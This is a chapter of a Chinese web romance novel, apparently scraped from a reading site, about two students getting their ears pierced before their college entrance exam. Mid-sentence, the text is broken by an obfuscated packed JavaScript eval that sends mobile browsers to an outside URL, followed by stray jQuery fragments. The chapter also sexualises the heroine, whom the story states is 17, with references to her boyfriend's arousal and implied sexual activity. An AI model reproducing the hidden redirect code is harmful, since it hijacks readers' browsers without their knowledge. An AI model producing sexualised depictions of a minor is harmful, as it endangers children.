56. 尾巴

作品:《她说

    高考前几天,余岁算是做了回老师们口中的懒虫,倒不是对备考一事置之不理,而是整日窝在别墅里不肯出去。


    期间林厘发来了高考祝福,还有徐图说是有一点紧张想寻求安慰,她一一都回复了。


    段郁觉得她快要在家泡发霉,但其实心里还是不想她真的出去,毕竟能在家和他窝在一起最好不过了。


    余岁刚喂完浴缸里的小金鱼,这会儿正站在客厅里,摆弄桌子上的花。


    段郁买了好些花回来,有艳丽的红玫瑰,也有素雅的小雏菊,她没插过花,手脚有些笨,不过好在花茎之前被人细心处理过,不至于划伤手。


    余岁捧着花束走到段郁身前蹲下,段郁正在打游戏,看她过来,挑了下眉,问:“怎么了?”


    余岁扬了扬手里的花,唇角带笑,想让他闻一闻,好香。


    段郁丢开手里的遥控手柄,垂眼接过来,轻嗅了下:“嗯,好闻。”


    语气有些敷衍,余岁撇撇嘴,不想和他说了,想走,下一秒人已经被他拦腰抱在怀里。


    身上只穿了件质地轻薄的棉质纱裙,挡不住什么温度,因为两人一直在家,段郁也穿的随意,一套深灰色居家睡衣,领口漏出大片白皙锁骨,后背贴上去,只剩令人心悸的热。


    余岁动了动,裙摆不自觉向上蹿了半截,露出一侧白腻的大腿,偏她没注意,段郁眼神瞬间暗下去,环着她,下巴抵在她颈窝上,灼热的呼吸一寸寸落下,有点痒。


    “宝宝,你最近好黏人。”


    这几日两人玩的有些过火,段郁指腹触上来的那一瞬,余岁身体不争气,一下就软了。


    咬了下唇,段郁只是浅笑了声,然后抬手帮她把裙摆揪下去。


    余岁垂下眼睫,双手无意识的在胸前扣弄着,段郁是不喜欢别人黏着他吗?


    “怎么不说话?嗯?”


    段郁把人抱着转过来,面对面,余岁早上的头发还是他给梳的,看了好几遍视频,才勉强扎好,是双鱼骨辫。


    余岁脑袋圆,这几天又被养肥了一点,似是婴儿肥还没退,眼睛也圆滚滚的,像两颗黑紫葡萄,看得人真想上去咬一口。


    这么想着,段郁也那么做了,轻咬了下她的耳垂。


    余岁的脸瞬间熟透了,比窗外的朝霞还红,但因着这些天已经见识过段郁好些没脸没皮,虽然羞窘也不至于像第一次那样只想找个地缝钻进去。


    一双眼睛直勾勾地盯着段郁看,澄澈又无辜。


    段郁在心底骂了句脏话,然后扯了下唇,模样有点坏:“宝宝,你这是在诱我犯罪啊。”


    段郁早就成年了,那次三月生日一过,现在已经19岁。余岁就不是了,她六月二十二的生日,这会儿只有17岁,还没成年。


    余岁抿了下唇。


    她讨厌异性的触碰,尤其是那次差点被王梁欺负后,这种感觉更加强烈。


    她时不时就会和自己做一次思想斗争,倒不是因为她不够豁达或是自我厌弃,而是身体机理给出的下意识反应她根本没法控制。


    其实那段时间就连还算是熟悉的苏嘉承来和她说话,她都不敢保证当下的那一刻是情愿的,只是她一向会伪装,甚至连自己都骗过去了。


    但她并不排斥段郁,也不讨厌他的触碰。


    “在想什么,这么认真?”


    余岁眨了下眼,抬手轻轻碰了下段郁的耳朵,然后捏了捏。


    段郁耳朵似乎很敏感和她一样,一瞬就红了,然后身下的巨物一秒探头,余岁身体紧绷起来,有些抱歉地看着他。


    对不起,又把你弄得起反应了。


    段郁懒懒掀了下眼皮,语调很缓:“说,这回又想怎么玩?”缠着她的一缕发丝慢慢把玩。


    余岁涨红了脸,慌忙摇头,然后顺势捞过一旁桌上的手机,打开在上面迅速敲字。


    “你能不能陪我去扎耳洞?”


    “现在?”


    余岁点了下头,脸还是红着,刚想说要是不方便就不用了,谁知道段郁“昂”了声,说了句“可以”。


    然后就幽幽地看着她,眼神里多了几分她看不懂的晦涩:“那也得先安抚好它才行。”


    说好了半个小时后出发,结果等真正出发的时候已经过去两个小时了,外面天都黑了,街道上车水马龙,霓虹灯闪烁,车窗半敞着,有温热的风顺进来。


    段郁刚刚去附近的711便利店买了点东西回来,有水,三明治,还有一些糖果。


    这会儿真的饿了,余岁拆开一包三明治就慢慢地嚼着。


    “看来以后还得多吃点儿才行。”


    段郁偏头看过来,车外昏黄的灯光扫过他一侧锋利的下颚线,模样有点痞。


    余岁红着脸别开眼,她虽然身板瘦弱,但主要还是段郁每次都太磨人了,她才会那么快饿的。


    两人一路顺畅开到了附近的纹身店,里面有专业的穿孔师,瞧见段郁带了个美妞来,挑了下眉,调侃道:“再慢一会儿,店都打烊了。”


    “野子。”段郁出声制止男人接下来的混话,单手抄进兜里,笑着给他介绍:“我姑娘。”


    “老牛吃嫩草啊?”


    余岁耳廓红了红。


    见段郁那吃瘪的模样野子就开心,一天的疲惫荡然一空,问:“纹身还是打耳洞?”


    “耳洞。”


    段郁替余岁回答,然后告诉了野子具体位置,顺带让他下手轻点。


    野子调侃:“啧啧啧,这还是我认识的那个段郁吗?”


    何曾见过他对一个女生这么上心过。


    段郁怂了下肩,刚好有电话进来,拍了拍余岁的肩:“别怕,我在外面等你。”然后拎着手机往沙发那边去了。


    野子把人带到里屋,余岁坐下后,就见野子在工具箱里翻东西,突然兜里的手机响了下,是段郁发过来的消息,说是让他动作快点,三分钟内搞好。


    “……”


    行,段郁的人别人碰不得。


    “姑娘可能有点疼,忍一下就好哈。”


    野子穿孔技术熟练,其实真正穿耳洞的时间可能都用了不到一秒就好了,念着两人马上要高考了,野子没给她用钛钢钉,而是戴了根透明的塑料耳棍先应付着。


    “好了。”野子给了她一把小镜子,“等高考完可以来找我免费换钉。”


    余岁抿了下唇,捞过手机然后给野子看:“我现在能选吗?”


    野子狐疑地看了她一眼,然后点头:“可以啊。”


    余岁最后选了一个蓝色的耳钉,野子又和她详细说了养耳骨钉的注意事


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15411177|164631||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    项。


    两人刚出房间,就见段郁站在门口,给野子吓了一大跳:“不是哥,你站这儿干吗呢?”


    段郁没搭理野子,而是垂下眼,盯着面前的余岁,问:“疼不疼。”


    余岁摇头,只听段郁扯唇轻声骂了她句“小骗子”,她抬手摸了摸鼻尖,不去看他。


    “怎么你也要扎?”野子看段郁往屋里走问。


    “不行?”


    “行啊,那给你扎怎么也得两倍价吧。”


    “你乖乖在沙发那儿等我。”


    余岁神情有些错愕,段郁也要扎?


    但段郁模样不像说笑,单手抄兜先一步进了房间,野子紧随其后。


    “不是,你真扎啊?”


    “嗯。”


    “扎哪儿?”


    “我姑娘的那个位置。”


    野子边“啧啧啧”叹气,边拿消毒湿巾,他觉得段郁是来故意气他来了,毕竟他前段时间刚失恋。


    “啥时候带出来一起玩儿啊?”


    “看心情。”


    余岁坐在沙发上,有一下没一下地戳着旁边盆栽里的叶子玩,段郁要比想象中出来的快,走过来:“回家了。”


    野子问:“不再坐会儿?”


    段郁挑了下眉,食指勾着车钥匙漫不经心地晃着,另一只手顺势牵住余岁,往门口的方向走。


    街道两侧大片的香樟树枝丫覆盖下来,路灯昏黄,头顶的月亮很亮,两人走得慢,影子跟在身后亦步亦趋,风捎带着余岁的发丝缠住段郁的手臂。


    没有一刻比现在更美好了。


    走着走着,余岁晃了下段郁的手,段郁侧目看她。


    余岁抿了下唇,从包里拿出手机亮给他看:


    “你刚刚为什么也要扎耳洞?”


    段郁明明已经有一个耳骨钉了,而且还和她扎在同一个位置。


    余岁很少有这么直白的时候,段郁起了逗弄的心思:


    “你觉得呢?是为什么?”


    都说耳洞是感情的缺口,连着心脏的神经,有最温柔的脆弱。


    余岁垂下眼,轻轻摇了下头。


    “当然是想,永远和你在一起。”


    段郁不信鬼神,但他愿做余岁唯一的信徒。


    也许每次高考的时候总是要下场雨的,雨水淅淅沥沥,大街小巷里散发着一股沁人心脾的夏潮气息。


    马路上很安静,偶尔能听到几声清脆的鸟鸣声,校门口外早就拉起了红色警戒线,送行的家长数不胜数,就连一向老沉的年华都穿上了艳丽的红色旗袍,祝他们旗开得胜。


    整座城都在为这一天高考的学子们做着最诚挚的祝福,希望他们都有一个美好的明天。


    余岁和段郁先后过了安检,等入了校,因为考场不同,需要分开,临别前,段郁突然攥住余岁的手。


    “余岁,我永远在你身后。”


    高考那几天余岁也说不上来是什么心情,好像只是参加了一场普通的考试,没有太大波澜。


    直到彻底走出考场,雨不再下,才有种一切尘埃落定的感觉。


    心一瞬变得空落落起来,好像缺了点什么,有点想哭。


    她抬眸,越过人海,猝然间对上一双黑曜般的眼眸。


    是段郁在等她。